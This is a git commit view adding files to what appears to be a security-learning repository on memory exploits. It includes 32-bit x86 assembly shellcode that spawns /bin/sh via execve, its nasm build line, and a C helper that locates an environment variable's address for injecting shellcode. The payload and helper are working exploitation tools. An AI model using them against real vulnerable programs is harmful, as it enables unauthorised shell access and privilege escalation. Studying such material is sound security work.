some small fixes

This commit is contained in:
Mari Wahl 2014-10-07 12:09:02 -04:00
parent 9df63fa0ec
commit baee235c69
6 changed files with 1064 additions and 0 deletions

1035
Memory_Exploits/README1.md Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1 @@
nasm shellspawn.asm

View File

@ -0,0 +1,12 @@
// usage: ./getshadd ENVVAR BINARY
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc,char *argv[]){
char *ptr;
ptr=getenv(argv[1]);
ptr+=(strlen(argv[0])-strlen(argv[2]))*2;
printf("%s will be at %p\n",argv[1],ptr);
return 0;
}

View File

@ -0,0 +1,14 @@
BITS 32
xor eax, eax ; zero eax
push eax ; null terminate the string
push 0x68732f2f ; push //sh (// is same as / for our purpose)
push 0x6e69622f ; push /bin
mov ebx, esp ; pass first argument using ebx
push eax ; third argument is empty
mov edx, esp
push eax ; second argument is empty
mov ecx, esp
mov al, 11 ; execve is system call #11
int 0x80 ; issue an interrupt

View File

@ -0,0 +1,2 @@
bash can be super fun
bash can be dangerous

Binary file not shown.

After

Width:  |  Height:  |  Size: 59 KiB